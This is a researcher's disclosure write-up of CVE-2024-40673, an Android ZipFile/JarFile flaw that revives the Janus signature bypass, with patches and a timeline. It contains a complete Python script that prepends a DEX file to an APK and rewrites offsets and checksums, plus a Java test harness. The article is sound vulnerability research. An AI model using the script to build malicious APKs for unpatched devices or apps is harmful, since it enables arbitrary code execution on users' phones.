CVE-2024-40673 — The Return of the Janus Vulnerability


Background

Google finally disclosed the CVE-2024-40673 vulnerability I discovered earlier in the October 2024 Android Security Bulletin, classifying it as a high-severity vulnerability with RCE potential. The discovery of this vulnerability was somewhat serendipitous, so today I’ll talk about CVE-2024-40673.

CVE-2017-13156

Since the title is "The Return of the Janus Vulnerability", it’s necessary to first review the Janus vulnerability, which is CVE-2017-13156. This vulnerability involved the lack of checks on the APK file header during APK V1 signature verification, allowing attackers to prepend a DEX file to the APK file to execute arbitrary code. The core points of this vulnerability are twofold:
When parsing ZIP files in the Android system, ZipEntries are read and parsed one by one from the end of the file, and each file is extracted according to the offset, without checking whether the file header is a valid ZIP file magic number;
The ART virtual machine checks whether the file header is DEX or ZIP to decide whether to load a DEX file or an APK file.
The result was that the ZIP file parsing ignored the DEX, while the ART loading loaded the DEX file at the header, leading to signature check bypass and arbitrary code execution. Then let’s look at the patch for this vulnerability:

  uint32_t lfh_start_bytes;
  if (!archive->mapped_zip.ReadAtOffset(reinterpret_cast<uint8_t*>(&lfh_start_bytes),
                                        sizeof(uint32_t), 0)) {
    ALOGW("Zip: Unable to read header for entry at offset == 0.");
    return -1;
  }

  if (lfh_start_bytes != LocalFileHeader::kSignature) {
    ALOGW("Zip: Entry at offset zero has invalid LFH signature %" PRIx32, lfh_start_bytes);
#if defined(__ANDROID__)
    android_errorWriteLog(0x534e4554, "64211847");
#endif
    return -1;
  }

The modified file is /system/core/libziparchive/zip_archive.cc, which belongs to the libziparchive module. Checking the Android.bp file of this module reveals that this module provides the unzip binary, meaning that in 2017 Google fixed the unzip binary. So are there other decompression APIs in Android?

Java ZipEntry API

In fact, there is also a ZIP file processing API at the Java layer, namely the ZipEntry API, used as follows:

ZipFile zipFile = new ZipFile(zipFile);
Enumeration<? extends ZipEntry> zipEntries = zipFile.entries();
while (zipEntries.hasMoreElements()) {
    ZipEntry entry = zipEntries.nextElement();
    Log.i(TAG, "ZipEntry: " + entry.getName());
}

At the same time, Android also provides JarEntry, and checking the code reveals that it is actually a wrapper of ZipEntry, so I won’t go into details. Did these two APIs check the magic number of the ZIP file header? Surprisingly, no:

private void exploitJanus() {
    try {
        PackageManager pm = getPackageManager();
        AssetManager assetManager = getAssets();
        File outJarFile = new File(getFilesDir(), "exp.apk");
        FileOutputStream fos = new FileOutputStream(outJarFile);
        long sizeCopied = FileUtils.copy(assetManager.open("exp.apk"), fos);
        if (sizeCopied > 0) {
            Log.i(TAG, "Copy success: " + sizeCopied);
            JarFile jarFile = new JarFile(outJarFile);
            Enumeration<JarEntry> entries = jarFile.entries();
            while (entries.hasMoreElements()) {
                JarEntry entry = entries.nextElement();
                Log.i(TAG, "JarEntry: " + entry.getName());
            }
            jarFile.close();
            ZipFile zipFile = new ZipFile(outJarFile);
            Enumeration<? extends ZipEntry> zipEntries = zipFile.entries();
            while (zipEntries.hasMoreElements()) {
                ZipEntry entry = zipEntries.nextElement();
                Log.i(TAG, "ZipEntry: " + entry.getName());
            }
            jarFile.close();
        }
    } catch (IOException e) {
        e.printStackTrace();
    }
}

This exp.apk is implemented by the exploit code of CVE-2017-13156:

#!/usr/bin/python

import sys
import struct
import hashlib
from zlib import adler32

def update_checksum(data):
    m = hashlib.sha1()
    m.update(data[32:])
    data[12:12+20] = m.digest()

    v = adler32(memoryview(data[12:])) & 0xffffffff
    data[8:12] = struct.pack("<L", v)

def main():
    if len(sys.argv) != 4:
        print("usage: %s dex apk out_apk" % __file__)
        return

    _, dex, apk, out_apk = sys.argv

    with open(dex, 'rb') as f:
        dex_data = bytearray(f.read())
    dex_size = len(dex_data)

    with open(apk, 'rb') as f:
        apk_data = bytearray(f.read())
    cd_end_addr = apk_data.rfind(b'\x50\x4b\x05\x06')
    cd_start_addr = struct.unpack("<L", apk_data[cd_end_addr+16:cd_end_addr+20])[0]
    apk_data[cd_end_addr+16:cd_end_addr+20] = struct.pack("<L", cd_start_addr+dex_size)

    pos = cd_start_addr
    while (pos < cd_end_addr):
        offset = struct.unpack("<L", apk_data[pos+42:pos+46])[0]
        apk_data[pos+42:pos+46] = struct.pack("<L", offset+dex_size)
        pos = apk_data.find(b"\x50\x4b\x01\x02", pos+46, cd_end_addr)
        if pos == -1:
            break

    out_data = dex_data + apk_data
    out_data[32:36] = struct.pack("<L", len(out_data))
    update_checksum(out_data)

    with open(out_apk, "wb") as f:
        f.write(out_data)

    print ('%s generated' % out_apk)

if __name__ == '__main__':
    main()

You can choose your own DEX and APK files. Tests found that on Android 14 devices with patches before 2024-10-01, the ZIP file can be parsed normally without any errors or exceptions, and the DEX at the header is completely ignored.

ART’s Processing Logic

As mentioned above, the ART virtual machine checks whether the file header is DEX or ZIP to decide whether to load a DEX file or an APK file. Has this feature changed? We tested using the dex2oat command and found that this feature has not changed. The app_process command should be the same. After all, when fixing the vulnerability in 2017, Google did not introduce any vulnerability fixes to ART, and this logic of judging the file header is reasonable and there is no need to modify it.

Summary

Since PackageManagerService uses libziparchive to parse ZIP files, this vulnerability cannot be exploited by simply installing an APK like the Janus vulnerability back then. However, I found that the dynamic code loading (DCL) logic of many applications still uses V1 signatures and uses the JarEntry API for parsing. Then the unsafe DCL of these applications will be affected. This is also the reason why Google, after comprehensive consideration, classified the vulnerability as RCE, while the Janus vulnerability back then was only classified as EoP. It can be seen that Google views security from the perspective of the entire Android ecosystem, just like the previous "fix" for the path traversal problem of the unzip command. For such API issues, we must not only consider the impact on the system but also the risk that many "novice" developers in the ecosystem may directly misuse these APIs. Therefore, I would like to praise Google for its responsible attitude towards the Android ecosystem.

Patch

The problem was fixed in the underlying library libcore/ojluni of the Java ZipEntry API:

// BEGIN Android-changed: do not accept files with invalid header.
if (!LOCSIG_AT(errbuf) && !ENDSIG_AT(errbuf)) {
    if (pmsg) {
        *pmsg = strdup("Entry at offset zero has invalid LFH signature.");
    }
    ZFILE_Close(zfd);
    freeZip(zip);
    return NULL;
}
// END Android-changed: do not accept files with invalid header.

And the commit also described:

This aligns ZipFile with libziparchive modulo empty zip files – libziparchive rejects them.

时间线

2023-11-09 Initial report submitted to Google IssueTracker
2024-01-10 Re-submitted the report to Google Bug Hunters because the previous report received no response
2024-01-16 Confirmed details of the vulnerability with Google
2024-02-26 Google confirmed the vulnerability, with a high severity level
2024-09-25 Google assigned CVE number CVE-2024-40673 and confirmed it would be released in the 2024-10-01 patch
2024-10-08 Google released the October 2024 Android Security Bulletin disclosing the vulnerability patch
2024-10-10 This article was published